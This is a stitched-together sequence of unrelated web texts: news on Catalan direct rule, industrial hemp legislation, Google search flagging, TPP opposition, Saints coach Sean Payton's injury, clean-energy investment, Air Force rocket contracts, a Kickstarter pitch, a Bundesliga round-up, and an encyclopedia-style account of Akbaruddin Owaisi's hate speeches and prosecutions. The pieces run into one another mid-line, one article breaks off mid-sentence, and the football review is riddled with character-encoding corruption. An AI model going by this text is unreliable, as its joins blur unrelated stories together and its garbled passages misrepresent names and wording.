After Rajoy announces the direct control measures on Saturday, Spain’s upper house will have to approve them in a session which could take place on Oct. 27, a Senate spokeswoman said.
Actions could range from dismissing the Catalan parliament and government, to a softer approach of removing specific heads of department. Direct rule from Madrid would be temporary while regional elections are held to form a new government.It's NBA Playoffs time, which means we're all wondering who will be lifting the Larry O'Brien trophy come June. Of course we know it won't be any of the teams that didn't make the playoffs, and it probably won't be the Jazz, and it definitely won't be the Knicks (the Knicks did make the playoffs, right? OK, good, just checking). We've got an idea of who's winning this year, but even better than that, we've got an idea of when every team in the L will next win a championship. Because it's gotta happen sometime for every team. Yes, even you Bobcats fans. So follow the winding path to find out when your team will next win an NBA title.
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Follow @Complex_Sports
Designed by Amy ChenSenate Bill In Support of Industrial Hemp Farming Expected to Follow
WASHINGTON, May 12, 2011 /PRNewswire-USNewswire/ -- For the fourth time since the federal government outlawed hemp farming in the United States over 50 years ago, a federal bill was introduced on May 11, which if passed, will remove restrictions on the cultivation of industrial hemp, the non-drug oilseed and fiber varieties of Cannabis. The chief sponsor, Rep. Ron Paul (R-TX) circulated a "Dear Colleague" letter last week seeking support for H.R. 1831, The Industrial Hemp Farming Act of 2011. H.R. 1831 is almost identical to H.R. 1866, which was introduced in the 111th Congress in 2009.
"We are pleased to see the re-introduction of the Industrial Hemp Farming Act in Congress. Vote Hemp is currently working with a Democratic Senator who is preparing to introduce companion legislation in the Senate in support of industrial hemp farming," says Vote Hemp President, Eric Steenstra. "It is due time for the Senate as well as President Obama and the Attorney General to prioritize the crop's benefits to farmers and to take action like Rep. Paul and the cosponsors of H.R. 1831 have done. With the U.S. hemp industry valued at over $400 million in annual retail sales and growing, a change in federal policy to allow hemp farming would mean instant job creation, among many other economic and environmental benefits," adds Steenstra.
U.S. companies that manufacture or sell products made with hemp include Dr. Bronner's Magic Soaps, a California company that manufactures the number-one-selling natural soap in the U.S. as well as best-selling hemp food manufacturers, such as French Meadow Bakery, Living Harvest, Manitoba Harvest, Nature's Path, Nutiva and Sequel Naturals who make their products from hemp grown in Canada. Sustainable hemp seed, fiber and oil are also used by major companies such as Ford Motors, Patagonia and The Body Shop.
"Public support for industrial hemp farming is growing in leaps and bounds in the U.S.," explains Steenstra. "The second annual Hemp History Week, celebrated from May 2-8, 2011 featured over 550 events in all 50 states. The campaign mobilized the support of tens of thousands of consumers, grass-roots activists and many high-profile celebrities from health and wellness experts to TV and entertainment personalities, professional athletes and renowned musicians."
H.R. 1831 was introduced by chief sponsor Rep. Ron Paul (R-TX) with 21 original cosponsors, including Rep. Baldwin (D-WI), Rep. Blumenauer (D-OR), Rep. Clay (D-MO), Rep. Cohen (D-TN), Rep. DeFazio (D-OR), Rep. Ellison (D-MN), Rep. Farr (D-CA), Rep. Frank (D-MA), Rep. Grijalva (D-AZ), Rep. Hinchey (D-NY), Rep. McClintock (R-CA), Rep. McDermott (D-WA), Rep. Miller (D-CA), Rep. Moran (D-VA), Rep. Nadler (D-NY), Rep. Pingree (D-ME), Rep. Polis (D-CO), Rep. Rohrabacher (R-CA), Rep. Schakowsky (D-IL), Rep. Stark (D-CA) and Rep. Woolsey (D-CA).
To date, seventeen states have passed pro-hemp legislation, and six states (Maine, Montana, North Dakota, Oregon, Vermont and West Virginia) have already authorized the licensing of farmers to grow the crop. However, despite state authorization to grow hemp, farmers in these states risk raids by federal agents, prison time and land forfeiture if they plant the crop, due to the failure of federal policy to distinguish oilseed and fiber varieties of Cannabis (i.e., industrial hemp) from psychoactive varieties.
More information about industrial hemp legislation and the crop's many uses can be found at
www.VoteHemp.com.
SOURCE Vote HempABOUT PROJECT
"aka Dan" is a documentary project chronicling Dan Matthews' journey to Korea in summer 2013, centering around his struggles with identity and family during the IKAA (International Korean Adoptee Association) 2013 summit, his first live concert performance in Korea, and his reunion with his Korean birth family. Accompanying the documentary project will be a full-length music album inspired by his experiences.
I wanted to send a quick personal thank you for taking the time to even check out this Kick Starter page. This has been one of the most emotional and personal experiences i've ever been through. Not only will I be reconnecting with my roots, i'll be meeting my biological family for the first time, including a TWIN brother I never in my wildest dreams expected to encounter. I'm blessed and honored to have this opportunity, and hope that i'm able to provide an experience that everyone, adopted or not, will be able to relate and identify with. Family. Identity. Roots.
FOLLOW US ALONG THE JOURNEY
I will be posting live updates via twitter and instagram at @DANakaDAN. You can follow this journey live! You can also find more detailed blogs and updates at: DANakDAN.tumblr.com, afterschoolspecialmusic.com, and Facebook.com/afterschoolspecialband
WHY WE NEED HELP
Your generous donations will help fund a bare bones production crew that will capture this story to the best of all of our abilities. The expenses we are anticipating are:
• Travel, lodging and transportation in Korea • Crew costs for camera persons, audio engineer, producer • Production equipment rentals • Production insurance • Post-production costs (Editing, art/graphics) • Album production and printing costs • And all of the intangibles that arise during film production
Our producer has raised just enough money to get us to Korea. He’s taken a leap of faith in me and the journey that we're all about to embark on. He believes that this story is both unique and powerful and needs to be told. We hope that you do too and that you will join us and help us complete the project in the manner that it deserves.
ABOUT FILMMAKERS
Dan Matthews is a Korean adoptee currently living in Los Angeles and working in the entertainment industry. He was raised in the small town of Camarillo, an hour north of LA, with his parents Lynne, Paul, and Jamie (also adopted). He's currently working as a producer for International Secret Agents, an Asian American entertainment and production company owned by Wong Fu Productions and Far East Movement. He's deeply nervous, scared, but above all excited at what is to come and how his life will change post this experience.
Director's Note: I am also a Korean Adoptee who unsuccessfully went back to Korea in 2002 to search for my birth family. Soon after that, I arrived in LA to pursue a career in film. Returning to Korea with Dan, over a decade later is both exciting and bittersweet. I spent many years trying to figure out my adoption story and I am honored to have the opportunity to tell Dan's. The struggle to create our identity despite our past is a universal experience. Adoption simply adds another barrier in this process. My hope is that everyone can relate to this story whether or not you are adopted, or even Asian. The search for identity is within us all. -Jon Maxwell
HOW KICKSTARTER WORKS
We only get any funds via Kickstarter if we reach our goal--it's all or nothing. Your credit card will not be charged for the amount you specify unless we get all $25,000 or more in funding by August 26, 2013. If you have problems with the payment system here, please email us at akaDan@mayrok.com and we'll figure out an alternative payment method.This Won't Be Abused At All: Google Offers Tool To Flag And Downrank 'Offensive' Search Results
from the this-whole-thing-is-offensive dept
Google is constantly under pressure from all sides to change how it ranks just about everything. There's a massive SEO industry, a decent portion of which is dedicated into tricking Google into ranking some stuff higher than others (or downgrading content that someone doesn't like). And, then, of course, there are the "outside" interests. For years, the legacy recording and movie industries would misleadingly blame Google for piracy and demand that it downrank "pirate" links. Google caved in and did so, and the end result has been kind of a mess. Because it's based on DMCA notices in to Google, the company now gets flooded with an ever increasing number of DMCA notices -- many of which are completely bogus (and potentially just designed to mess with search rankings).
On top of that, in cases where it does downrank so-called "pirate" sites, since people are still looking for unauthorized content anyway, they end up going to more dangerous sites, where they're more likely to get malware. And, of course, as we predicted, despite caving in and giving the RIAA/MPAA a tool to shape search results, those industries still aren't satisfied. Because they'll never be satisifed. That's because they fail to understand that the problem isn't Google. Google is just a representation of what's on the internet -- and many people on the internet want access to content that is otherwise difficult to get. That's not Google's fault.
A couple of years ago, Google also announced that it would allow people to remove "revenge porn" results from search. And you can certainly understand why pretty much everyone would want this as an end result. But, still, once you make that tool available, there's reason to fear that it, too, will be abused. And even if a company as large as Google may be able to properly staff up to go through and review each request, this only puts pressure on everyone else -- including much smaller, less well-staffed, less well-resourced players to do something similar.
And now... for reasons that are unclear, Google has announced that it opened up a tool that will let people report "offensive" results and potentially downrank those results.
With the change, content with racial slurs could now get flagged under a new category called "upsetting-offensive." So could content that promotes hate or violence against a specific group of people based on gender, race or other criteria. While flagging something doesn't directly affect the search results themselves, it's used to tweak the company's software so that better content ranks higher. This approach might, for instance, push down content that is inaccurate or has other questionable attributes, thereby giving prominence to trustworthy sources.
Again, at a first pass, this kind of thing absolutely sounds good. We should want better results, and the idea of letting Google's many millions of users help flag certain sites to be carefully reviewed for "upsetting or offensive" content makes sense. But... again, this definitely seems like the kind of thing that is open to widespread abuse. First off, what is "upsetting or offensive" anyway? That's a completely subjective standard, and one that we've seen people judge very, very differently. Second, what do you do if you really dislike a particular site? You open up a vote-brigade by a bunch of people to label it "upsetting or offensive." Trump haters can go after Breitbart and Trump supporters can go after the NY Times. Hopefully Google resists those kinds of vote brigading, but just the fact that this kind of tool is open to such abuse is concerning. And, again, when Google does something like this, it puts more pressure on other sites, with many fewer resources, to do something similar or get branded as somehow "supporting" offensive content.
Again, none of this is to say that Google must be promoting "offensive" content. It has the right to create its search results however it wants. But the more tools it opens up to the public to potentially downrank sites, the more the risk is that such tools get widely abused.
Filed Under: downrank, offensive, search, search rankings, vote brigade
Companies: googlePresident Trump denies any connection between his campaign and Russian election hackers, but the Department of Justice appoints a former FBI director as special counselor just to make sure.
Fifteen people and counting are in the race to be Seattle's next mayor. How is the race shaping up? And is Bernie Sanders really going to weigh in?
You'll want to kick that distracted driving habit sooner than later, because this week Governor Inslee signed new penalties for using your phone behind the wheel that will become law this summer. Good news: "minimal use of a finger" is still allowed.
And as New Orleans takes down a third Confederate monument, how should Seattle think about a statue of former president (and slave owner) George Washington at the University of Washington?
Listen to Week in Review Fridays at noon (and again at 7:00 p.m.) and talk to us on Twitter using #KUOWwir.The notorious Trans Pacific Partnership (TPP) corporate-rights agreement is opposed by the Democratic candidate for President, the Republican candidate for President, the Democratic Party platform, all labor unions, thousands of citizen groups like faith, human rights, consumer, environmental, small business, and almost every other kind of group representing the interests of citizens. Hundreds of legal and economic scholars recently signed a letter opposing TPP. And polls show that as people learn about TPP they shift from no opinion to opposition.
But Wall Street, giant multinational corporations, and their corporate lobbying organizations like the Chamber of Commerce want TPP. You know what that means. TPP is probably coming up for a vote after the election in the no-accountability “lame duck” session of Congress. It can be stopped and a group of organizations are taking the fight to Iowa this week.
Iowa Town Hall Meetings This Week
This week Iowa Citizens for Community Improvement (along with Iowa CCI Action), Our Revolution (Bernie Sanders’ group), and the Communications Workers of America (CWA) will hold a series of town hall meetings across Iowa. Our Revolution president Larry Cohen wrote about this in an article for Iowa’s Quad-City Times in Guest view: TPP is what’s wrong with US trade policy. (The article also appears in the Waterloo Cedar Falls Courier.) Cohen wrote:
We will be discussing the TPP and mobilizing opposition but most importantly demanding that all candidates for the House and Senate tell us which side they are on. TPP will be the major issue facing Congress for at least the rest of 2016—it is unacceptable for House members or candidates to say they don’t know where they stand or that they haven’t read it.
That “tell us which side they are on” part is key. Getting members of Congress on the record now, before the election, will help defeat TPP. They know there is plenty of opposition. They know that the more people hear about TPP, the more people become opposed. They know they can’t publicly say they are for it before the election, then vote for it right after the election.
TPP Sold As “Trade”
TPP is sold as a “trade” deal, because the word “trade” makes people think of people in places that grow bananas “trading” with people who make cars, with both sides benefitting. Advocates of TPP say things like, “95 percent of the world is outside of the United States, and we have to trade with them,” as if the choice is TPP or not trading with the world.
But “trade” has come to mean one and only one thing: corporate domination of governments and economies, where factories are moved to the lowest-wage, lowest-protection areas so investors and executives can pocket the wage difference and threaten workers who still have jobs with moving their job, too.
In his Iowa op-ed Larry Cohen lays out a better way:
A new trade regime would create balance between investor’s rights and the rights of citizens. A new trade regime would place our jobs and communities, and our rights as consumers above the rights of multinational companies. For example, instead of celebrating new protections for pharmaceutical corporations to set prices and block regulation, we would celebrate trade deals that promote the rights of all of us.
Imagine a “trade” deal that really is about increasing trade and prosperity for everyone in the affected countries instead of an already-wealthy few. Imagine a “trade” deal that guarantees a reasonable minimum wage for workers. Imagine a “trade” deal with terms that prohibit threatening workers with loss of jobs. Imagine a “trade” deal that prohibits environmental destruction for profit. Imagine a “trade” deal that guarantees small businesses a reasonable share of the resulting “trade.” That is what a true “trade” deal might look like if all of the “stakeholders” in these deals had a seat at the negotiating table.TAMPA, Fla. -- New Orleans coach Sean Payton tore the MCL and fractured the tibia in his left leg following a collision on the sideline of the Saints' 26-20 loss to Tampa Bay on Sunday.
Sean Payton, who tore his MCL and broke his leg in a sideline collision, tried to coach Sunday's game from the bench before being carted off the field. J. Meric/Getty Images
He spent the second half in the training room watching the game via television and gave the play-calling duties to offensive coordinator Pete Carmichael. Payton will have surgery on the knee Monday and will begin rehabilitation immediately afterward.
Payton told the New Orleans Times-Picayune that he hopes to be back in the Saints' offices Tuesday, but wasn't sure about being at practice Wednesday. He admitted that he might have to spend some games in the coaches' box.
"Because it's a fracture it's different," Payton told the paper. "If it's the MCL you can have the brace, but the fracture on the outside means the weight bearing part of it really changes."
Payton told the paper that he wanted to run the offense from the coaches' box, but the pain wouldn't allow him to.
Payton fell to the ground and got his leg caught underneath Saints tight end Jimmy Graham when he was tackled by a Bucs defender early in the first quarter.
Payton stayed down while receiving medical attention before being helped to the bench.
He remained there with his leg propped on the bench, but kept on his headset.
The Saints players alternated clearing out their two sideline benches between possessions to allow Payton to see from his seat until he was driven off the field on a golf cart with 3:40 left in the first half.
"I think my initial plan was to go up in the (coaches') box,'' Payton said. "The problem was just dealing with some of the pain issues.''
Information from The Associated Press was used in this report.Share. 'The game is basically done.' 'The game is basically done.'
Fallout 4 is "basically done," according to Bethesda marketing executive Pete Hines.
As such, it's too late for Bethesda Game Studios to add in any last-minute requests from fans. Right now, the studio is focused on making the game as bug-free and polished as possible before its release this November.
Exit Theatre Mode
"Let's be honest, [right now] it doesn't matter what anybody wants for a feature in Fallout 4," Hines told GameSpot. "The game is basically done. It was by and large done before we announced it, in terms of the features going in. You're not adding new features in May, June, July in the year you're releasing; you're trying to get everything fixed."
Hines went on to emphasize the fact that Bethesda isn't tuning out its fans, either. For the studio, it's simply a matter of prioritizing what is most important to deliver the best game possible.
"All of that stuff is important," he added. "A good developer knows how to take all that and figure out how to address is. You can do anything, you just can't do everything. So you have to be able to prioritize and figure out what are the big wins, what are the challenges you're going to tackle, and what are the things you just don't have the bandwidth to take on."
Exit Theatre Mode
Fallout 4 is set to release on November 10 for Xbox One, PS4, and PC. For more on Bethesda's upcoming open-world RPG, check out the exciting new info that was revealed at QuakeCon, including the ability to romance companions.
Alex Osborn is a freelance writer for IGN. You can follow him on Twitter.U.S. Lags Behind China in Renewables Investments
Don’t let all those Texas wind farms and massive installations of solar panels in California fool you. The U.S. is not the world leader in clean energy investment.
China is.
For the second year, an annual Pew Charitable Trusts report, “Who’s Winning the Clean Energy Race?”, shows that China is the world leader in clean energy investment, with $54 billion in investments in renewables in 2013, well above total U.S. investment of $36.7 billion.
Credit: Pew Charitable Trusts
“No other clean energy market in the world is operating at that scale,” Phyllis Cuttino, director of Pew’s clean energy program, said during a teleconference Thursday, referring to China.
The report was released just days after the Intergovernmental Panel on Climate Change released the second part to its fifth assessment report, which states unequivocally that people will have to adapt to a world in which human fossil fuel emissions have caused the climate to change, threating lives across the globe as temperatures and seas rise and extreme weather becomes more frequent. Developing renewable energy is seen as one of the primary ways to reduce humans' impact on the climate.
The Pew report says China’s efforts to slash poverty, expand economic development and solve its air pollution problems have driven the country to invest heavily in clean energy.
Though renewables market share is on the rise globally, the report says that overall worldwide renewables investment has been declining for two straight years. Investments totaled $254 billion last year, a decline of 11 percent from 2012 and 20 percent from 2011 when investments peaked at $318 billion.
Whereas China installed 14 gigawatts of electricity generation capacity from wind farms and 12 gigawatts of solar power generating capacity last year, the U.S. installed less than 1 gigawatt of wind power after a tax incentive for the wind industry expired. The U.S. installed a record 4.3 gigawatts of solar generation capacity in 2013 according to the report.
“Globally, we were second for wind and third for solar investment,” Cuttino said.
Ethan Zwindler, head of policy for Bloomberg New Energy Finance, said during Thursday’s call that 2012 was a record year for U.S. wind power installation ahead of the expiration of the Renewable Electricity Production Tax Credit, or PTC, passed in 2009 as part of the American Recovery and Reinvestment Act.
“2013 fell over 90 percent to less than 1 gigawatt,” he said. “Roughly 2 years of U.S. wind-build got crammed into one, which was 2012.”
There is likely to be a resurgence in wind farms coming online in the U.S. in 2014, many of which were under construction last year and will benefit from the PTC, Zwindler said.
“The PTC still does very much matter to the U.S. wind industry,” he said.
Credit: Pew Charitable Trusts
Another important finding in the report is that for the first time, solar power installations eclipsed wind farm construction globally last year.
“One-third of all solar on the planet was installed last year,” Cuttino said. “Deployment of solar was up 29 percent. Falling prices are really driving technology and deployments around the world.”
Zwindler said the solar and wind power industries worldwide are in a transition period as subsidies for renewables are scaled back, especially in Germany and Italy, but he is confident renewables will be able to compete in the future with few subsidies.
“It does not take place in all places at the same time,” he said. “If you’re in a sunny part of the world with high electricity prices, putting solar on your roof clearly can make more sense.”
Who’s Winning the Clean Energy Race?
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IPCC Says Climate Change is Here, World Needs to AdaptWASHINGTON — United Launch Alliance (ULA) and the U.S. Air Force have come to contractual terms for the first batch of rockets in a long-awaited bulk purchase that the service said forms the core of its strategy for saving money on a program whose soaring costs once made it a lightning rod for criticism.
Setting the stage for the upcoming competitive phase of the Evolved Expendable Launch Vehicle (EELV) program, Denver-based ULA and the Air Force claim the new contracting structure has already saved taxpayers billions of dollars.
The Air Force in 2013 announced three contracts with ULA whose total combined value is just under $2.6 billion, including an initial $1 billion order in June to support seven EELV missions. In December, the Air Force announced a $530 million contract modification “for fiscal 2014 through fiscal 2017 launch vehicle production services and options for that associated launch capability for fiscal 2015 through fiscal 2019.”
The December announcement listed five rocket configurations including a Delta 4 Heavy, which uses three rocket cores in a side-by-side configuration, meaning that together the contracts cover 14 of the 36 EELV rocket cores anticipated in the multiyear block buy.
Also included in ULA’s current Air Force contract portfolio is a one-year deal worth nearly $1 billion, announced in October, for so-called EELV Launch Capability. This is the latest in a series of contracts ULA gets on an annual basis to cover services not necessarily associated with a given launch, and which have been branded as a subsidy by ULA’s prospective competitors.
The block buy is part of the Air Force’s two-pronged strategy for reducing EELV costs, the other being the introduction of competition in U.S. national security launches. ULA has had that business almost entirely to itself since it was created in 2006 by the merger of the U.S. government launch businesses of Lockheed Martin and Boeing.
The Air Force plan entails buying the 36 rocket cores from ULA on a sole-source basis. An additional 14 missions will be awarded competitively, giving upstarts like Space Exploration Technologies Corp. of Hawthorne, Calif., a crack at the market.
Buying in bulk is a tried and true method for reducing unit costs. To give an example, ULA in 2010 quoted prices for an Atlas 5 launch to NASA that ranged from $104 million to $334 million. Company officials in early 2011 said uncertainty about how many rockets the Air Force would commit to buying accounted for the wide variance in the NASA proposal. A large Air Force commitment, ULA officials said, would drive the actual costs to NASA toward the lower end of the scale.
“This contract stabilizes the U.S. launch industrial base while saving a substantial amount of taxpayer money and setting the program up for competition going forward,” Capt. Adam Gregory, a spokesman for the secretary of the Air Force, said in a Jan. 15 email. “The contract is the largest component of the EELV initiatives that have saved $4.4 billion in total program cost since the President submitted the FY2012 Budget to Congress in February 2011.”
Adding up the Numbers
A complete accounting of where claimed savings are coming from was not immediately available, however, in part because the Air Force and ULA do |
trophy that breaks the window that Becca gets blamed for? 179 fans have answered this question No one has commented yet 51% medium
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What Is Fat Emmy's Real Name? 12 fans have answered this question No one has commented yet 100% easyThe curtains have come down on yet another nail biting season in the Bundesliga. The title race may have been finished a long while ago but drama was aplenty on the final matchday of what is arguably the most exciting football league in Europe. Augsburg pulled off yet another remarkable comeback to stay afloat, Hoffenheim forced Kevin GroAYkreutz to don a goalkeeperai??i??s jersey and Bayern Munich broke Borussia Dortmundai??i??s 90 point record in Jupp Heynckesai??i?? final Bundesliga game. TheHardTackle reviews all the action in the final edition of Beer And Bratwurst for this season.
Augsburgai??i??s RA?ckrunde magic bears fruit
Behind Fortuna DA?sseldorf only on goal difference and going up against a woeful Greuther FA?rth side, Augsburg would surely have fancied their chances of survival prior to kickoff. But Markus Weinzierlai??i??s men were to have their hearts in their mouth just six minutes into the game as the Cloverleaves were gifted a penalty by Ragnar Klavan. Edgar Prib stepped up and slotted past Alex Manninger but referee Tobias Welz asked for the penalty to be retaken because a player had entered the box too early. Second time didnai??i??t prove to be lucky for Prib as Manninger guessed right and swatted the ball away.
With luck on their side, Augsburg thundered forward and were rewarded for their efforts at the half hour mark. A dangerous freekick from Tobias Werner managed to squirm past a number of eager heads and found its way into the back of the net. Six minutes later, Mame Diouf slotted home for Hannover against DA?sseldorf, ensuring that Augsburg were in prime position to survive. Manninger continued to guard Augsburgai??i??s goal like his life and saw a goal at the other end when Callsen-Bracker headed a Werner set piece.
Florian Trinks pulled one back for FA?rth but Hannover widened the gap between Augsburg and DA?sseldorf a few minutes later when they scored a second at the AWD-Arena courtesy of Didier Ya Konan. Augsburg and Hannover continued to pile the misery on DA?sseldorf, the former getting a goal through Dong-Won Ji and the latter through Ya Konan once again. 3-1 in Augsburg and 3-0 in Hannover ai??i?? Mission Survival was complete.
For a second season running, Augsburg have completely turned things around after the winter break. Earning a more than respectable total of 24 points in the rA?ckrunde, one more than what they did last season, Augsburg escaped from a position from which most pundits had predicted their inevitable relegation. Dramatic as this may have been, the Bundesliga relegation battle had more to offer.
A disallowed goal, a right sided midfielder between the sticks and a spot in the play-offs for Hoffenheim
Worst off in the relegation skirmish, not many would have put their money on Hoffenheim. And to add to their woes, the side from the little village of Sinsheim had to lock horns with Champions League finalists Borussia Dortmund. One side represented all that the Bundesliga stood for, while the other was just the opposite. With just their tiny village behind them and no history to boast of, Hoffenheim had their hands full ahead of possibly the biggest ninety minutes in their history.
Six minutes into the game, Robert Lewandowski hit the nail into Hoffenheimai??i??s coffin as he tapped in from a couple of yards out. Goals in Hannover gave Markus Gisdolai??i??s side glimmer of hope but it was Koen Casteels keeping Hoffenheim alive with his desperation in goal. But football is a funny game and it takes just a second of stupidity, even from the best, to turn the world upside down.
Mats Hummels made a ridiculous tackle to bring down Dortmundai??i??s transfer target Kevin Volland in the penalty area. Up stepped Sejad Salihovic and thundered the ball past Roman Weidenfeller. The drama wasnai??i??t about to end though. The crown of carelessness shifted heads, from Hummels to Weidenfeller, as the Dortmund custodian conceded the second penalty of the night and saw a red card. Brimming with confidence and having the supposedly multi-faceted Kevin GroAYkreutz in goal, Salihovic converted a second from the spot, putting Hoffenheim into 16th place.
The joys of Sinsheim seemed short-lived as a strike from Marcel Schmelzer trickled past the line to even things up at 2-2 with only a few seconds remaining. But Casteelsai??i?? strong protests and some consultation with his linesman were enough to persuade Jochen Drees to overrule his decision and disallow the goal. The score remained 2-1 and it was Hoffenheim who were going through to the relegation play-off. Joy was boundless in the little village down south while hears were broken further up north in the capital of North Rhine Westphalia.
Elsewhere
The other battle that was left unfinished on the penultimate day was that for European qualification. Schalke, Freiburg and Eintracht Frankfurt were in the hunt for the lone remaining Champions League spot while Hamburg and Borussia MAi??nchengladbach were breathing down Frankfurtai??i??s neck for sixth place.
Schalke and Freiburg met in Gelsenkirchen knowing that the winner was guaranteed that coveted fourth place. Freiburgai??i??s usual pressing was on show but it was Schalke who took the lead through the incredible Julian Draxler. Freiburg pulled level with a blistering counter attack but were punished later on for some sloppy defending. 2-1 to Schalke was how it ended and Freiburg had to be content with a spot in next seasonai??i??s Europa League.
Eintracht Frankfurt hosted quietly rising Wolfsburg and were down by two goals within the first twenty minutes. Hope was renewed just a quarter of an hour later when Makoto Hasebe brought Takashi Inui, yes this is the German top flight, to gift the hosts a penalty and to an early shower. Alex Meier pulled a leaf out of Mario Balotelliai??i??s book and slotted the penalty in immaculate fashion. The equalizer was hard to find and with Hamburg in a deadlock against Leverkusen, things were in an uncomfortable position for Frankfurt.
Thankfully for Frankfurt, Stefan KieAYling scored against Hamburg to put things to rest. A Ricardo Rodriguez own goal ensured that there was going to be no stoppage time drama in the Europa League battle as Frankfurt confirmed sixth place.
Other results
Borussia MAi??nchengladbach 3-4 Bayern Munich, Nuremberg 3-2 Werder Bremen, VfB Stuttgart 2-2 Mainz
Random five
Bayern Munich broke Borussia Dortmundai??i??s record of most points in a season with their victory over Gladbach. The new record stands at 91 points. This is Freiburgai??i??s best finish in the Bundesliga since 1995 when they finished 3rd. Jupp Heynckes began his Bundesliga career in MAi??nchengladbach and coincidentally went on to end there as well. Werder Bremen, Mainz and Fortuna DA?sseldorf were the only teams to end the season on 5 game winless streaks. Hannover had the fifth best home record but the fourth worst away record in the league this season.
Player of the week
Franck Ribery: After a disastrous first ten minutes in MAi??nchengladbach, it was all the Franck Ribery show. The Frenchman assisted two goals and scored the other two in a superb comeback. He started it all with a well cushioned pass for Javi Martinezai??i??s goal. He then made a mockery of ter Stegen, catching the keeper exposing his near post. Followed this up with an absolutely sensational volley and killed the night off with a cute assist for Arjen Robben.
Flop of the week
Roman Weidenfeller: The Dortmund custodian seemed to have everything under control at his end but was finally beaten by a Salihovic penalty. With the limelight, albeit for the wrong reasons, on Hummels, Weidenfeller decided to become the show stopper with a disastrous challenge that got him a red card, Hoffenheim a second penalty and they ensured that DA?sseldorf were relegated. Something this ridiculous was surely not expected of such an experienced player.
Goal of the week
Julian Draxler scored a great opener in Gelsenkirchen, Dong-Won Ji skimmed a defender and placed the ball beautifully past the keeper to seal Augsburgai??i??s victory, but it is Franck Riberyai??i??s magnificent volley that steals the show in this final match day in the Bundesliga.
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][15][16][17] He was re-elected in 2009 and lead the seven-member MIM in the House.[14][15][16][17] Akbaruddin Owaisi won his fourth consecutive victory in Assembly polls from Chandrayangutta assembly in 2014.[13] Akbaruddin Owaisi won his Fifth Consecutive victory in Assembly polls from Chandrayangutta Assembly in 2018.[18]
Controversial speeches [ edit ]
In August 2007, along with other elected and serving members of his party, Owaisi made death threats against Tasleema Nasreen,[19] pledging that the fatwa against her and Salman Rushdie were to be abided by.[20] Owaisi said, "we in Hyderabad want to behead this woman according to the fatwa."[21]
While speaking at a rally in Kurnool in 2011, Owaisi used the derogatory terms Kafirs and Kufrastan to refer to MLAs in Andhra Pradesh Legislative Assembly and the Legislative Assembly.[22][23][24] In the same rally he used the Urdu words katil (murderer), darinda (monster), beimaan (dishonest), dhokebaaz (cheat), and chor (thief) for the former Prime Minister of India P V Narasimha Rao.[23] Owaisi said that if Rao had not died, he (Owaisi) would have killed Rao with his own hands.[22][23][25]
In April 2012, Owaisi made derogatory and demeaning comments against Hindu god Rama and his mother Kaushalya. Owaisi asked "Where all did Ram's mother go wandering and where did she give birth to him".[22][26]
In August 2012, Owaisi claimed while speaking in Karimnagar that there have been "50,000" riots in India over 65 years since the country became independent. He claimed in the speech that a "majority" of those killed in the riots were Muslims.[22][23][27]
On 12 December 2012, Owaisi made derogatory remarks with hand gestures about Hindu goddess at a public rally in Nizamabad.[22][28] He said making hand gestures – "She, who is sitting," and added, "What is this new name Bhagyalakshmi, never heard of her.[28] Shout such slogans such that the Bhagya also shakes and Lakshmi also falls down."[22][28][28][29]
Speech at Adilabad [ edit ]
On 22 December 2012, Owaisi addressed a rally of twenty to twenty-five thousand people in the Nirmal town of Adilabad district of Andhra Pradesh.[30][31] In his two-hour-long speech, Owaisi made multiple comments against Hindus, Hindu deities, Rashtriya Swayamsevak Sangh, Vishva Hindu Parishad, Bharatiya Janata Party[32][33][34][35][36][37][38] Punjab Kesari reported that Owaisi referred to the Hindus as "impotent" and the Indian police as the "impotent army".[37] He said that not even one crore impotent men can together father one child.[37] He said that these people (Hindus) cannot face the Muslims, and whenever the Muslims start dominating the Hindus, the impotent army (police) intervenes.[37][39][40][41] [42] and added that the Muslims could "teach the rest of the world a lesson".
Owaisi referred to Ajmal Amir Kasab, one of the Pakistani terrorists of the 2008 Mumbai attacks, as a "child", and compared him with Narendra Modi.[23] He said that if the Muslims of India united like the Muslims of Andhra Pradesh, Narendra Modi would soon be hanged.[32][33] Owaisi threatened that if his words were not heard, "O India, destruction and ruin will be your fate".[32][36] He threatened that India will witness a bloodshed which has not been seen in the last 1000 years.[36][43] He also dared Narendra Modi to come to Hyderabad, threatening by saying "we will show him then".[32] Owaisi justified the Mumbai bombings of 1993 by saying they were a reaction to the demolition of Babri Masjid and atrocities on Muslims in India.[32][37] He also questioned the punishment handed out to the accused of the bombings, naming Tiger Memon as one of those punished even though Tiger Memon is still at large.[32]
Owaisi denigrated Hindu gods in his speech.[35][44] Owaisi mocked Hindu cremation by saying "when you (Hindus) die, you become air after burning and go astray."[22] Owaisi talked in derogatory terms about heritage places of India including Ayodhya, Ajanta caves and Ellora caves.[22][45][45][46] He said that if Muslims go away from India, they will take the Taj Mahal, Red Fort and Qutb Minar with them, adding "What will then remain here? Just a razed Ram temple in Ayodhya and naked statues of Ajanta."[45][46]
Owaisi compared the state of Muslims of India to the state of Muslims of the world. Owaisi said that the Rashtriya Swayamsevak Sangh, the Vishva Hindu Parishad, and the Bharatiya Janata Party were poisonous snakes, and to "crush their heads" a stick is enough.[32]
After the speech, Owaisi left for London citing "medical treatment" as the reason.[32] NDTV reported on 3 January that Owaisi was getting treated for intestinal injuries he sustained when he was attacked over a land dispute in 2011.[47] Owaisi returned to Hyderabad on 7 January.[48]
Legal proceedings [ edit ]
On 28 December 2012, a petition was filed in a local court in Nampally of Hyderabad against Akbaruddin Owaisi for hurting the sentiments of Hindus, and for making inflammatory, derogatory and offensive remarks.[49]. Another petition was filed by a businessman S Venkatesh Goud in Hyderabad.[50] The Andhra Pradesh Human Rights Commission directed the Hyderabad Police Commissioner to submit an inquiry report on the alleged hate speech by 17 January 2013.[51] On 3 January 2013, Abid Rasool Khan, General Secretary of Andhra Pradesh Congress Committee, told news channel CNN IBN that the state government had "taken cognizance of speech" and they were "collecting evidence to build a strong FIR and a water-tight case where we can book the person causing hatred."[52] On 3 January, the fourth additional chief metropolitan magistrate of the Nampally court directed the Andhra Pradesh police to register an FIR against Owaisi. The Director General of police V. Dinesh Reddy said that summons were issues to Owaisi and that the police would take the help of the Interpol to arrest him if required. He added that Owaisi would be barred from addressing public meetings in future.[50] On 5 January 2013, a case was filed against Owaisi in Mumbai while a court in Vadodara served a notice on him for his alleged hate speech.[53][54] In May 2014, Andhra Pradesh government gave nod to prosecute Akbaruddin Owaisi in a 2004 case for an alleged hate speech.[55][56]
Arrest and Bail [ edit ]
